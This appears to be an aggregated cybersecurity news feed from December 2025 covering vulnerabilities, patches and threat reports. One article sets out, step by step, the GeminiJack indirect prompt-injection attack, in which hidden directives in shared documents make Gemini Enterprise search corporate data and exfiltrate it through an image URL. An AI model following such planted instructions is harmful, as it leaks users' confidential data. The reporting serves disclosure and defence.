The NCSC warns prompt injection is fundamentally different from SQL injection. Organizations must shift from prevention to impact reduction and defense-in-depth for LLM security.

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As they work to fend off the rapidly expanding number of attempts by threat actors to exploit the dangerous React2Shell vulnerability, security teams are learning of two new flaws in React Server Components that could lead to denial-of-service attacks or the exposure of source code.

The post React Fixes Two New RSC Flaws as Security Teams Deal with React2Shell appeared first on Security Boulevard.

Bad actors that include nation-state groups to financially-motivated cybercriminals from across the globe are targeting the maximum-severity but easily exploitable React2Shell flaw, with threat researchers see everything from probes and backdoors to botnets and cryptominers.

The post Attackers Worldwide are Zeroing In on React2Shell Vulnerability appeared first on Security Boulevard.

Overview On December 10, NSFOCUS CERT detected that Microsoft released the December Security Update patch, which fixed 57 security issues involving widely used products such as Windows, Microsoft Office, Microsoft Exchange Server, Azure, etc., including high-risk vulnerability types such as privilege escalation and remote code execution. Among the vulnerabilities fixed by Microsoft’s monthly update this […]

The post Microsoft’s December Security Update of High-Risk Vulnerability Notice for Multiple Products appeared first on NSFOCUS, Inc., a global network and cyber security leader, protects enterprises and carriers from advanced cyber attacks..

The post Microsoft’s December Security Update of High-Risk Vulnerability Notice for Multiple Products appeared first on Security Boulevard.

Google has addressed a Gemini zero-click security flaw that allows silent data extraction from corporate environments using the company’s AI assistant tools. The issue, identified as a vulnerability in Gemini Enterprise, was uncovered in June 2025 by researchers at Noma Security, who immediately reported it to Google.  The researchers named the flaw GeminiJack, describing it as an architectural weakness affecting both Google’s Gemini Enterprise, its suite of corporate AI assistant tools, and Vertex AI Search, which supports AI-driven search and recommendation functions on Google Cloud.  According to security researchers, the issue allowed a form of indirect prompt injection. Attackers could embed malicious instructions inside everyday documents stored or shared through Gmail, Google Calendar, Google Docs, or any other Workspace application that Gemini Enterprise had permission to access. When the system interacted with the poisoned content, it could be manipulated to exfiltrate sensitive information without the target's knowledge.  The defining trait of the attack was that it required no interaction from the victim. Researchers noted that exploiting Gemini zero-click behavior meant employees did not need to open links, click prompts, or override warnings. The attack also bypassed standard enterprise security controls. 

How the GeminiJack Attack Chain Worked 

Noma Security detailed several stages in the GeminiJack attack sequence, showing how minimal attacker effort could trigger high-impact consequences: 

1. Content Poisoning: An attacker creates a harmless-looking Google Doc, Calendar entry, or Gmail message. Hidden inside was a directive instructing Gemini Enterprise to locate sensitive terms within authorized Workspace data and embed those results into an image URL controlled by the attacker. 
2. Trigger: A regular employee performing a routine search could inadvertently cause the AI to fetch and process the tampered content. 
3. AI Execution: Once retrieved, Gemini misinterpreted the hidden instructions as legitimate. The system then scanned corporate Workspace data, based on its existing access permissions, for the specified sensitive information. 
4. Exfiltration: During its response, the AI inserted a malicious image tag. When the browser rendered that tag, it automatically transmitted the extracted data to the attacker's server using an ordinary HTTP request. This occurred without detection, sidestepping conventional defenses. 

Researchers explained that the flaw existed because Gemini Enterprise’s search function relies on Retrieval-Augmented Generation (RAG). RAG enables organizations to query multiple Workspace sources through pre-configured access settings.  “Organizations must pre-configure which data sources the RAG system can access,” the researchers noted. “Once configured, the system has persistent access to these data sources for all user queries.” They added that the vulnerability exploited “the trust boundary between user-controlled content in data sources and the AI model’s instruction processing.”  A step-by-step proof-of-concept for GeminiJack was published on December 8. 

Google’s Response and Industry Implications 

Google confirmed receiving the report in August 2025 and collaborated with the researchers to resolve the issue. The company issued updates modifying how Gemini Enterprise and Vertex AI Search interact with retrieval and indexing systems. Following the fix, Vertex AI Search was fully separated from Gemini Enterprise and no longer shares the same LLM-based workflows or RAG functionality.  Despite the patch, security researchers warned that similar indirect prompt-injection attacks could emerge as more organizations adopt AI systems with expansive access privileges. Traditional perimeter defenses, endpoint security products, and DLP tools, they noted, were “not designed to detect when your AI assistant becomes an exfiltration engine.”  “As AI agents gain broader access to corporate data and autonomy to act on instructions, the blast radius of a single vulnerability expands exponentially,” the researchers concluded. They advised organizations to reassess trust boundaries, strengthen monitoring, and stay up to date on AI security work. 

2025 will be remembered as the year cyber threats reached a breaking point. With nearly 6,000 ransomware incidents, more than 6,000 data breaches, and over 3,000 sales of compromised corporate access, enterprises across the globe faced one of the most dangerous digital landscapes on record. Manufacturing plants halted production, government agencies struggled to contain leaks, and critical infrastructure endured direct hits. Cyble Global Cybersecurity Report 2025 highlights that ransomware attacks surged 50% year-over-year. Not only this, the Global Cybersecurity Report 2025 stated that data breaches climbed to their second-highest level ever, and the underground market for stolen access flourished. Together, these figures reveal not just isolated events, but a systemic escalation of cybercrime that is reshaping the way organizations must defend themselves.

Cyble Global Cybersecurity Report 2025: A Year of Escalation

The Cyble Global Cybersecurity Report 2025 documented 5,967 ransomware attacks, representing a 50% increase year-over-year. Alongside this, 6,046 data breaches and leaks were recorded, the second-highest level ever observed. The underground market for compromised initial access also thrived, with 3,013 sales fueling the global cybercrime economy. Daksh Nakra, Senior Manager of Research and Intelligence at Cyble, described 2025 as a “Major power shift in the threat landscape,” noting that new ransomware groups quickly filled the void left by law enforcement crackdowns. The combination of supply chain attacks and rapid weaponization of zero-day vulnerabilities created what he called “a perfect storm” for enterprises worldwide.

Ransomware Landscape Transformed

Two groups stood out in 2025. Akira ransomware emerged as the second-most prolific group behind Qilin, launching sustained campaigns across Construction, Manufacturing, and Professional Services. Its opportunistic targeting model allowed it to compromise nearly every major industry vertical. Meanwhile, CL0P ransomware reaffirmed its reputation as a zero-day specialist. In February 2025, CL0P executed a mass campaign exploiting enterprise file transfer software, posting hundreds of victims in a single wave. Consumer Goods, Transportation & Logistics, and IT sectors were among the hardest hit.

Key Ransomware Statistics

• 5,967 total ransomware attacks in 2025 (50% increase year-over-year)
• The manufacturing sector most targeted, suffering the highest operational disruption
• Construction, Professional Services, Healthcare, and IT are among the top five targets
• The United States experienced the majority of attacks; Australia entered the top-five list for the first time
• 31 incidents directly impacted critical infrastructure

Data Breaches Near Record Levels

Government and law enforcement agencies were disproportionately affected, accounting for 998 incidents (16.5% of total breaches). The Banking, Financial Services, and Insurance (BFSI) sector followed with 634 incidents. Together, these two sectors represented more than a quarter of all breaches, highlighting attackers’ focus on sensitive citizen data and financial information. The sale of compromised corporate access continued to fuel cybercrime. Cyble’s analysis revealed 3,013 access sales, with the Retail sector most heavily targeted at 594 incidents (nearly 20%). BFSI followed with 284 incidents, while Government agencies accounted for 175 incidents.

Vulnerabilities Drive Attack Surge

Cyble Global Cybersecurity Report 2025 further highlighted that critical flaws in widely deployed enterprise technologies served as primary entry points. Among the most exploited were:

• CVE-2025-61882 (Oracle E-Business Suite RCE) – leveraged by CL0P
• CVE-2025-10035 (GoAnywhere MFT RCE) – exploited by Medusa
• Multiple vulnerabilities in Fortinet, Ivanti, and Cisco products with CVSS scores above 9.0

In total, 94 zero-day vulnerabilities were identified in 2025, with 25 scoring above 9.0. Over 86% of CISA’s Known Exploited Vulnerabilities catalog entries carried CVSS ratings of 7.0 or higher, with Microsoft, Fortinet, Apple, Cisco, and Oracle most frequently affected.

Geopolitical Hacktivism Surges

According to Cyble's global cybersecurity report 2025, hacktivist activity reached an unprecedented scale, with over 40,000 data leaks and dump posts impacting 41,400 unique domains. Much of this activity was driven by geopolitical conflicts:

• The Israel-Iran conflict triggered operations by 74 hacktivist groups
• India-Pakistan tensions generated 1.5 million intrusion attempts
• North Korea’s IT worker fraud schemes infiltrated global companies
• DDoS attacks, website defacements, and breaches targeted governments and critical infrastructure

Industry-Specific Insights

• Manufacturing: Most attacked sector due to reliance on OT/ICS environments and low tolerance for downtime
• Construction: Heavily targeted by Akira; time-sensitive projects created maximum pressure points
• Professional Services: Law firms and consultancies compromised for sensitive client data and supply chain leverage
• Healthcare: Continued to face attacks from groups like BianLian, Abyss, and INC Ransom due to critical data availability needs
• IT & ITES: Service providers exploited to enable cascading supply chain attacks against downstream customers

Outlook

The numbers from Cyble Global Cybersecurity Report 2025 highlight that ransomware is up by 50%, thousands of breaches, and a booming underground economy for compromised access. With critical infrastructure, government agencies, and high-value industries increasingly in the crosshairs, the Cyble global cybersecurity report 2025 highlights the urgency for global enterprises to strengthen defenses against a rapidly evolving threat landscape.

For a full analysis, the Global Cybersecurity Report 2025 is available at Cyble Research Reports.

Microsoft patched 57 vulnerabilities in its Patch Tuesday December 2025 update, including one exploited zero-day and six high-risk vulnerabilities. The exploited zero-day is CVE-2025-62221, a 7.8-rated Use After Free vulnerability in Windows Cloud Files Mini Filter Driver that could allow an authorized attacker to elevate privileges locally and gain SYSTEM privileges. CISA promptly added the vulnerability to its Known Exploited Vulnerabilities (KEV) catalog. Microsoft credited its own Threat Intelligence Center (MSTIC) and Security Response Center (MSRC) for the find. Microsoft’s Patch Tuesday December 2025 update also issued fixes for 13 non-Microsoft CVEs; all the non-Microsoft CVEs were for Chromium-based Edge vulnerabilities. Other vendors issuing critical Patch Tuesday updates included Fortinet (CVE-2025-59718 and CVE-2025-59719), Ivanti (CVE-2025-10573) and SAP (CVE-2025-42880, CVE-2025-42928, and Apache Tomcat-related vulnerabilities CVE-2025-55754 and CVE-2025-55752).

High-Risk Vulnerabilities Fixed in Patch Tuesday December 2025 Update

Microsoft rated six vulnerabilities as “Exploitation More Likely.” The six are all rated 7.8 under CVSS 3.1, and three are Heap-based Buffer Overflow vulnerabilities. The six high-risk vulnerabilities include: CVE-2025-59516, a 7.8-severity Windows Storage VSP Driver Elevation of Privilege vulnerability. The Missing Authentication for Critical Function flaw in Windows Storage VSP Driver could allow an authorized attacker to elevate privileges locally. CVE-2025-59517, also a 7.8-rated Windows Storage VSP Driver Elevation of Privilege vulnerability. Improper access control in Windows Storage VSP Driver could allow an authorized attacker to elevate privileges locally. CVE-2025-62454, a 7.8-rated Windows Cloud Files Mini Filter Driver Elevation of Privilege vulnerability. The Heap-based Buffer Overflow vulnerability in Windows Cloud Files Mini Filter Driver could allow an authorized attacker to elevate privileges locally. CVE-2025-62458, a 7.8-severity Win32k Elevation of Privilege vulnerability. The Heap-based Buffer Overflow vulnerability in Windows Win32K - GRFX could allow an authorized attacker to elevate privileges locally. CVE-2025-62470, a 7.8-rated Windows Common Log File System Driver Elevation of Privilege vulnerability. The Heap-based Buffer Overflow vulnerability in the Windows CLFS Driver could allow local privilege elevation by an authorized attacker. CVE-2025-62472, a 7.8-severity Windows Remote Access Connection Manager Elevation of Privilege vulnerability. The use of uninitialized resource flaw in Windows Remote Access Connection Manager could allow an authorized attacker to elevate privileges locally.

High-Severity Office, Copilot, SharePoint Vulnerabilities also Fixed

The highest-rated vulnerabilities in the December 2025 Patch Tuesday update were rated 8.8, and there were three 8.4-severity vulnerabilities too. All were rated as being at lower risk of exploitation by Microsoft. The four 8.8-rated vulnerabilities include:

• CVE-2025-62549, a Windows Routing and Remote Access Service (RRAS) Remote Code Execution vulnerability
• CVE-2025-62550, an Azure Monitor Agent Remote Code Execution vulnerability
• CVE-2025-62456, a Windows Resilient File System (ReFS) Remote Code Execution vulnerability
• CVE-2025-64672, a Microsoft SharePoint Server Spoofing vulnerability

The three 8.4-severity vulnerabilities include:

• CVE-2025-64671, a GitHub Copilot for Jetbrains Remote Code Execution vulnerability
• CVE-2025-62557, a Microsoft Office Remote Code Execution/Use After Free vulnerability
• CVE-2025-62554, a Microsoft Office Remote Code Execution/Type Confusion vulnerability

OWASP unveils its GenAI Top 10 threats for agentic AI, plus new security and governance guides, risk maps, and a FinBot CTF tool to help organizations secure emerging AI agents.

The post OWASP Project Publishes List of Top Ten AI Agent Threats appeared first on Security Boulevard.

Noma Security today revealed it has discovered a vulnerability in the enterprise edition of Google Gemini that can be used to inject a malicious prompt that instructs an artificial intelligence (AI) application or agent to exfiltrate data. Dubbed GeminiJack, cybercriminals can use this vulnerability to embed a malicious prompt in, for example, a Google Doc..

The post Indirect Malicious Prompt Technique Targets Google Gemini Enterprise appeared first on Security Boulevard.

The exploitation efforts by China-nexus groups and other bad actors against the critical and easily abused React2Shell flaw in the popular React and Next.js software accelerated over the weekend, with threats ranging from stolen credentials and initial access to downloaders, crypto-mining, and the NoodleRat backdoor being executed.

The post Exploitation Efforts Against Critical React2Shell Flaw Accelerate appeared first on Security Boulevard.

A security issue disclosed in the Apache Tika document-processing framework has proved broader and more serious than first believed. The project’s maintainers have issued a new advisory revealing that a flaw previously thought to be limited to a single PDF-processing component extends across several Tika modules, widening the scope of a vulnerability first publicized in mid-2025. 

Initial Disclosure and the Limits of CVE-2025-54988 

The original flaw, listed as CVE-2025-54988 and published in August with a severity rating of 8.4, was traced to the tika-parser-pdf-module used to process PDFs in Apache Tika from versions 1.13 through 3.2.1. Tika, a tool designed to extract and standardize content from more than 1,000 proprietary file formats, has long been a target for attacks involving XML External Entity (XXE) injection, a recurring risk in software that parses complex document formats.  According to the original CVE description, the weakness allowed attackers to hide XML Forms Architecture (XFA) instructions inside a malicious PDF. When processed, these instructions could enable an XXE injection attack, potentially letting an attacker “read sensitive data or trigger malicious requests to internal resources or third-party servers.” The vulnerability also created a pathway for data exfiltration through Tika’s own processing pipeline, with no outward indication that data was leaking. 

New CVE Expands Affected Components and Severity 

Project maintainers now report that the PDF parser was not the only vulnerable entry point. A new advisory issued on 4 December 2025 by Tim Allison on the Tika mailing list confirms that the issue affects additional components. The newly disclosed CVE-2025-66516, rated at a maximum severity of 10.0, expands the scope to include: 

• Apache Tika core (tika-core) versions 1.13 through 3.2.1 
• Apache Tika parsers (tika-parsers) versions 1.13 through 1.28.5 
• Apache Tika PDF parser module (tika-parser-pdf-module) versions 2.0.0 through 3.2.1 

The maintainers note two reasons for issuing a second CVE. First, although the vulnerability was detected via the PDF parser, the underlying flaw and its fix were located in tika-core. This means that users who updated only the PDF parser after the initial disclosure but did not update Tika core to version 3.2.2 or later remain exposed. Second, earlier Tika versions housed the PDFParser class within the tika-parsers module, which was not included in the initial CVE despite being vulnerable. The advisory states that CVE-2025-66516 “covers the same vulnerability as in CVE-2025-54988,” but widens the list of affected packages to ensure users understand the full extent of the risk. 

Impact, Exploitation Risk, and Recommended Mitigation 

As of early December, maintainers say they have no evidence that attackers are exploiting the weakness in real-world campaigns. Still, the potential for rapid exploitation remains high, particularly if proofs-of-concept or reverse-engineered attack samples begin circulating.  To eliminate the vulnerability, users are instructed to update to: 

• tika-core 3.2.2 
• tika-parser-pdf-module 3.2.2 
• tika-parsers 2.0.0 (for legacy users) 

The maintainers warn that patching may be insufficient in environments where Apache Tika is used indirectly or embedded within other applications. Its presence is not always clearly documented, creating blind spots for developers. The advisory notes that disabling XML parsing via tika-config.xml is the only mitigation for teams uncertain about where Tika may be running. 

A critical React2Shell (CVE-2025-55182) RCE flaw in React and Next.js is being actively exploited by China-nexus threat groups, prompting urgent patching and global mitigations.

The post Cloudflare Forces Widespread Outage to Mitigate Exploitation of Maximum Severity Vulnerability in React2Shell  appeared first on Security Boulevard.

The Washington Post last month reported it was among a list of data breach victims of the Oracle EBS-related vulnerabilities, with a threat actor compromising the data of more than 9,700 former and current employees and contractors. Now, a former worker is launching a class-action lawsuit against the Post, claiming inadequate security.

The post Ex-Employee Sues Washington Post Over Oracle EBS-Related Data Breach appeared first on Security Boulevard.

The Japan Computer Emergency Response Team Coordination Center (JPCERT/CC) has confirmed that a command injection vulnerability affecting Array Networks AG Series secure access gateways has been actively exploited in Japan since August 2025. The advisory, updated on December 5, 2025, states that attackers have leveraged the flaw to implant web shells and gain unauthorized access to internal networks.  According to JPCERT, the vulnerability originates in the DesktopDirect feature of the AG Series, Array Networks’ remote desktop access capability designed to help users connect securely to office resources. Although the issue was quietly resolved by the vendor on May 11, 2025, the lack of a public CVE identifier and the continued presence of unpatched devices have left a notable attack surface exposed.  “Exploitation of this vulnerability could allow attackers to execute arbitrary commands,” the advisory states. JPCERT added that systems running DesktopDirect are specifically at risk, emphasizing that the feature enablement is a prerequisite for successful exploitation. 

Ongoing Attacks Traced to a Single IP Address 

JPCERT reports that organizations in Japan have experienced intrusions tied to this security gap beginning in August 2025. In these incidents, attackers attempted to plant PHP-based web shells in paths containing “/webapp/,” a technique that would provide persistent remote access.   The agency noted that malicious traffic has consistently originated from the IP address 194.233.100[.]138, though the identity and motivations of the threat actors remain unclear. Details regarding the scope of the campaign, the tools deployed beyond web shells, or whether the attackers represent a known threat group have not yet been released. 

No Evidence Linking to Past Exploits of CVE-2023-28461 

The newly exposed vulnerability exists alongside another previously exploited flaw in the same product line, CVE-2023-28461, a high-severity authentication bypass rated CVSS 9.8. That earlier issue was abused in 2024 by a China-linked espionage group known as MirrorFace, which has targeted Japanese institutions since at least 2019.  Despite the overlap in affected systems, JPCERT emphasized that there is no current evidence connecting the recent command injection attacks with MirrorFace or with prior activity related to CVE-2023-28461. 

Affected Versions and Required Updates 

The vulnerability impacts ArrayOS AG 9.4.5.8 and earlier versions, all of which support the DesktopDirect functionality. Array Networks issued a fixed release, ArrayOS 9.4.5.9, to address the flaw. The company has advised users to test and deploy the updated firmware as soon as possible.  JPCERT cautioned administrators that rebooting devices after applying the patch may lead to log loss. Because log files are crucial to intrusion investigations, the agency recommends preserving these records before performing any update or system reboot. 

Workarounds 

For organizations unable to immediately apply the firmware update, Array Networks has provided temporary mitigation steps: 

• Disable all DesktopDirect services if the feature is not actively in use. 

• Implement URL filtering to block requests containing semicolons (“;”), a common vector used for command injection payloads. 

These measures aim to reduce exposure until patching becomes feasible.  In its advisory, JPCERT urged all users of affected products to examine their systems for signs of compromise. Reported malicious activity includes the installation of web shells, the creation of unauthorized user accounts, and subsequent internal intrusions launched through the compromised AG gateways.

ShadyPanda spent seven years uploading trusted Chrome and Edge extensions, later weaponizing them for tracking, hijacking, and remote code execution. Learn how the campaign unfolded.

The post ShadyPanda Takes its Time to Weaponize Legitimate Extensions  appeared first on Security Boulevard.

The BBB warns of a rising ghost-tap scam exploiting tap-to-pay cards and mobile wallets. How attackers use NFC proximity tricks.

The post Ghost-Tap Scam Makes Payments Scarier  appeared first on Security Boulevard.

Security and developer teams are scrambling to address a highly critical security flaw in frameworks tied to the popular React JavaScript library. Not only is the vulnerability, which also is in the Next.js framework, easy to exploit, but React is widely used, including in 39% of cloud environments.

The post Dangerous RCE Flaw in React, Next.js Threatens Cloud Environments, Apps appeared first on Security Boulevard.

AI browsers introduce reasoning-based risks. Learn how cross-origin AI agents dismantle web security and what defenses are needed.

The post Convenience or Catastrophe? The Dangers of AI Browsers No One is Talking About  appeared first on Security Boulevard.

Security headlines distract, but the threats keeping CISOs awake are fundamental gaps and software supply chain risks. Learn why basics and visibility matter most.

The post Sleepless in Security: What’s Actually Keeping CISOs Up at Night  appeared first on Security Boulevard.

Security defenders are girding themselves in response to the disclosure of a maximum-severity vulnerability disclosed Wednesday in React Server, an open-source package that’s widely used by websites and in cloud environments.

The vulnerability is easy to exploit and allows hackers to execute malicious code on servers that run it. Exploit code is now publicly available.

React is embedded into web apps running on servers so that remote devices render JavaScript and content more quickly and with fewer resources required. React is used by an estimated 6 percent of all websites and 39 percent of cloud environments. When end users reload a page, React allows servers to re-render only parts that have changed, a feature that drastically speeds up performance and lowers the computing resources required by the server.

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CISA warned today that two Android zero-day vulnerabilities are under active attack, within hours of Google releasing patches for the flaws. Both are high-severity Android framework vulnerabilities. CVE-2025-48572 is a Privilege Escalation vulnerability, while CVE-2025-48633 is an Information Disclosure vulnerability. Both were among 107 Android vulnerabilities addressed by Google in its December security bulletin released today.

Android Vulnerabilities CVE-2025-48572 and CVE-2025-48633 Under Attack

Google warned that the CVE-2025-48572 and CVE-2025-48633 framework vulnerabilities “may be under limited, targeted exploitation.” The U.S. Cybersecurity and Infrastructure Security Agency (CISA) followed with its own alert adding the Android vulnerabilities to its Known Exploited Vulnerabilities (KEV) catalog. “These types of vulnerabilities are a frequent attack vector for malicious cyber actors and pose significant risks to the federal enterprise,” CISA warned. “CISA strongly urges all organizations to reduce their exposure to cyberattacks by prioritizing timely remediation of KEV Catalog vulnerabilities as part of their vulnerability management practice,” the U.S. cybersecurity agency added. The vulnerabilities are so new that the CVE Program lists the CVE numbers as “reserved,” with details yet to be released. Neither Google nor CISA provided further details on how the vulnerabilities are being exploited.

7 Critical Android Vulnerabilities Also Patched

The December Android security bulletin also addressed seven critical vulnerabilities, the most severe of which is CVE-2025-48631, a framework Denial of Service (DoS) vulnerability that Google warned “could lead to remote denial of service with no additional execution privileges needed.” Four of the critical vulnerabilities affect the Android kernel and are all Elevation of Privilege (EoP) vulnerabilities: CVE-2025-48623, CVE-2025-48624, CVE-2025-48637, and CVE-2025-48638. The other two critical vulnerabilities affect Qualcomm closed-source components: CVE-2025-47319, an Exposure of Sensitive System Information to an Unauthorized Control Sphere vulnerability, and CVE-2025-47372, a Buffer Overflow vulnerability that could lead to memory corruption. Google lists CVE-2025-47319 as “Critical” while Qualcomm lists the vulnerability as Medium severity; both list CVE-2025-47372 as Critical. The Qualcomm vulnerabilities are addressed in detail in The Cyber Express article Qualcomm Issues Critical Security Alert Over Secure Boot Vulnerability published earlier today.

Cybersecurity startup Aisle discovered a subtle but dangerous coding error in a Firefox WebAssembly implementation sat undetected for six months despite being shipped with a regression testing capability created by Mozilla to find such a problem.

The post Undetected Firefox WebAssembly Flaw Put 180 Million Users at Risk appeared first on Security Boulevard.

Qualcomm warned partners and device manufacturers about multiple newly discovered vulnerabilities that span its chipset ecosystem. The Qualcomm released a detailed security bulletin on December 1, 2025, outlining six high-priority weaknesses in its proprietary software, including one flaw that directly compromises the secure boot process, one of the most sensitive stages in a device’s startup chain.  The bulletin states that the document aims to help customers integrate required fixes into both existing and upcoming devices. Qualcomm advised device makers to contact the security bulletins for questions, while also acknowledging external researchers who assisted in identifying several of the issues.   Contributors included Niek Timmers and Cristofaro Mune of Raelize, conghuiwang, Haonan Li, Zinuo Han of OPPO Amber Security Lab, and a researcher identified as ylva. 

A Secure Boot Vulnerability: CVE-2025-47372 

The most severe issue detailed in the security alert is CVE-2025-47372, a flaw that threatens the integrity of the secure boot process. Qualcomm rated the vulnerability as Critical on both its internal scale and the Common Vulnerability Scoring System (CVSS).  The company’s analysis revealed that the flaw involves a buffer copy operation during boot that fails to validate the size of an incoming ELF image properly. If the image is corrupted or intentionally oversized, the bootloader may write out of bounds, creating memory corruption at an early and highly trusted stage in the startup sequence.  Classified under CWE-120 (Classic Buffer Overflow) and carrying a CVSS score of 9.0, the vulnerability could allow attackers to bypass essential verification routines, install persistent malicious firmware, or seize control of a device before the primary operating system loads. Qualcomm noted that the defect was identified internally, but the company did not clarify how long it may have existed in production hardware prior to detection. A broad range of Snapdragon, QAM, and QCA boot-capable platforms are affected. 

Additional High-Impact Vulnerabilities 

Beyond CVE-2025-47372, Qualcomm’s security bulletin lists five additional high-priority threats and several moderate-severity issues. 

• CVE-2025-47319, also internally discovered, impacts the High-Level Operating System (HLOS). Though Qualcomm assigned it a Critical internal rating, its standardized CVSS score is Medium (6.7). The flaw stems from the unintended exposure of Trusted Application–to–Trusted Application (TA-to-TA) communication interfaces to the HLOS layer, matching CWE-497. Affected platforms include FastConnect modules, Snapdragon 4/6/8 Gen chipsets, QAM/QCA families, automotive systems, AR devices, and various compute modules. 
• CVE-2025-47323, a High-severity vulnerability with a 7.8 CVSS score, involves integer overflow during audio packet routing. Incorrect handling of GPR packets can trigger wraparound conditions, leading to memory corruption. This flaw spans a wide set of platforms, including AR/VR devices, FastConnect modules, Snapdragon compute processors, and numerous modem-RF systems. 
• CVE-2025-47325, reported on September 3, 2025, is a TrustZone firmware vulnerability involving untrusted pointer dereferencing. With a CVSS score of 6.5, the issue could permit unauthorized access to protected memory regions. The bulletin indicates that many IPQ, QCA, QCN, and SDX networking chipsets are affected. 
• CVE-2025-47350, another High-severity issue, affects DSP Services. The vulnerability arises from improper handling of concurrent memory mapping and unmapping operations, classified as CWE-416 (Use-After-Free). While potentially severe, Qualcomm noted that no currently active products are impacted, suggesting the flaw exists only in development lines or inactive code. 
• CVE-2025-47387, a High-severity camera subsystem vulnerability (CVSS 7.8), involves untrusted pointer dereferencing during JPEG IOCTL handling, presenting risks of memory corruption. Impacted hardware includes multiple compute platforms, FastConnect chipsets, Snapdragon 7c/8c/8cx processors, and several mobile SoCs. 

Core Services and Open-Source Vulnerabilities 

A moderate-severity issue, CVE-2025-47321, affects Core Services. This classic buffer overflow (CWE-120) can occur when copying packets from Unix clients without enforcing proper bounds checks, posing risks of privilege escalation or remote code execution. The flaw impacts a wide range of Qualcomm connectivity, audio, mobile, AR, wearable, and compute chipsets.  The security bulletin also details multiple open-source software vulnerabilities coordinated through CodeLinaro. These include: 

• CVE-2025-27063: A Use-After-Free issue in video playback. 
• CVE-2025-47320: An out-of-bounds audio write was also patched via CodeLinaro. 
• CVE-2025-47322: An automotive-focused Use-After-Free vulnerability in Linux OS, rated Medium with a High CVSS score of 7.8. Reported on February 7, 2025, and disclosed to customers on June 2, 2025, it affects dozens of chip families across the automotive, compute, mobile, and IoT markets. 

Guidance to OEMs and Ecosystem Partners 

Qualcomm’s latest security bulletin confirms that patches for high-impact vulnerabilities, including the critical boot issue CVE-2025-47372, are already being shared with manufacturers, who are urged to deploy them on released devices as soon as possible. The company also advised users to check patch availability with their device OEMs, noting that the list of affected chipsets may not be complete.  The wide range of vulnerabilities, spanning secure boot, TrustZone firmware, DSP services, and camera components, shows how deeply these flaws extend across Qualcomm’s ecosystem. As Qualcomm continues issuing security alerts, fast and accurate vulnerability remediation remains essential for organizations operating devices built on these platforms.  Platforms such as Cyble’s vulnerability management can support this effort by providing real-time intelligence, asset-level visibility, and clear prioritization of high-risk weaknesses. These capabilities help teams identify critical exposures earlier and respond more effectively.  To improve your organization’s readiness against chipset-level threats and fast-moving vulnerabilities, request a personalized demo with Cyble today. 

The Common Vulnerability Scoring System (CVSS) provides software developers, testers, and security and IT professionals with a standardized way to assess vulnerabilities. You can use CVSS to assess the threat level of each vulnerability and then prioritize mitigation accordingly.

This article explains how the CVSS works, reviews its components, and describes why using a standardized process helps organizations assess vulnerabilities consistently.

A software vulnerability is any weakness in the codebase that can be exploited. Vulnerabilities can result from a variety of coding mistakes, including faulty logic, inadequate validation mechanisms, or lack of protection against buffer overflows. Attackers can exploit these weaknesses to gain unauthorized access, execute arbitrary code, or disrupt system operations.

Why use a standardized scoring system?

With thousands of vulnerabilities disclosed each year, organizations need a way to prioritize which ones to address first. A standardized scoring system like CVSS helps teams:

• Compare vulnerabilities objectively
• Prioritize patching and mitigation efforts
• Communicate risk to stakeholders

CVSS is maintained by the Forum of Incident Response and Security Teams (FIRST) and is widely used by organizations and vulnerability databases, including the National Vulnerability Database (NVD).

CVSS v3.x metric groups

CVSS v3.x included three main metric groups:

1. Base metrics: Intrinsic characteristics of a vulnerability that are constant over time and across user environments.
2. Temporal metrics: Characteristics that change over time, but not among user environments.
3. Environmental metrics: Characteristics that are relevant and unique to a particular user’s environment.

What’s new in CVSS v4.0?

The CVSS v4.0 update, released in late 2023, brings several significant changes and improvements over previous versions (v3.0/v3.1). Here’s what’s new and what’s changed:

1. Expanded metric groups

• Base metrics now include more granular distinctions, such as the new Attack Requirements (AT) metric and improved definitions for Privileges Required and User Interaction.
• Threat metrics are a new, optional metric group for capturing real-world exploitation and threat intelligence, helping to prioritize vulnerabilities based on active exploitation.
• Supplemental metrics, provide additional context—such as safety, automation, and recovery—to tailor scoring for specific industries or use cases.

2. Refined scoring and terminology

• Attack Vector (AV) introduced a clearer distinction between network, adjacent, local, and physical vectors, with improved definitions.
• Attack Requirements (AT) is introduced to capture conditions that must exist for successful exploitation, but are outside the attacker’s control.
• Privileges Required (PR) and User Interaction (UI) have been clarified and expanded to reflect modern attack scenarios.
• The scope is now called “vulnerable system,” providing more precise language about what is affected.

3. Greater flexibility and customization

• Modular scoring allows organizations to use the base, threat, and supplemental metrics independently or together.
• Industry-specific extensions let sectors like healthcare, automotive, or critical infrastructure apply more tailored scoring.

4. Improved guidance and usability

• Clearer documentation: The new specification now includes better examples and more detailed guidance to reduce ambiguity in scoring.
• Backwards compatibility: CVSS v4.0 scores are not directly comparable to v3.x scores, but the new system was designed to coexist during the transition period.

How the CVSS scoring process works (v4.0)

1. Assess the base metrics
   • Evaluate the exploitability and impact of the vulnerability using the updated metric definitions.
2. Incorporate threat metrics (optional)
   • If there’s intelligence about active exploitation, adjust the score accordingly to reflect real-world risk.
3. Add environmental and supplemental metrics
   • Tailor the score to your organization’s environment and industry-specific requirements.
4. Calculate the final score
   • The CVSS calculator (now updated for v4.0) combines the selected metrics to produce a score between 0.0 (no risk) and 10.0 (critical risk).

Example of a CVSS v4.0 score

Suppose a newly discovered vulnerability allows remote code execution over the network with no privileges required and no user interaction. Under CVSS v4.0, you would:

• Assign the appropriate base metrics (e.g., Network, Low complexity, No privileges, No user interaction).
• If there is evidence of active exploitation, use the threat metric to increase the urgency.
• Add any environmental or supplemental metrics relevant to your organization.

The resulting score helps you prioritize remediation efforts based on both the technical details and the real-world threat landscape.

Why the update matters

The improvements in CVSS v4.0 reflect the changing nature of software vulnerabilities and the need for more nuanced, actionable risk assessments. By incorporating real-world threat intelligence and industry-specific context, organizations can make better-informed decisions about vulnerability management.

Key takeaways:

• CVSS v4.0 provides more accurate, flexible, and actionable vulnerability scoring.
• New metric groups allow for customization and real-world prioritization.
• Organizations should transition to CVSS v4.0 for a more comprehensive approach to vulnerability risk management.

For more information and to access the latest CVSS v4.0 calculator and documentation, visit the FIRST CVSS v4.0 page.

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The Russian state-sponsored group behind the RomCom malware family used the SocGholish loader for the first time to launch an attack on a U.S.-based civil engineering firm, continuing its targeting of organizations that offer support to Ukraine in its ongoing war with its larger neighbor.

The post Russian-Backed Threat Group Uses SocGholish to Target U.S. Company appeared first on Security Boulevard.

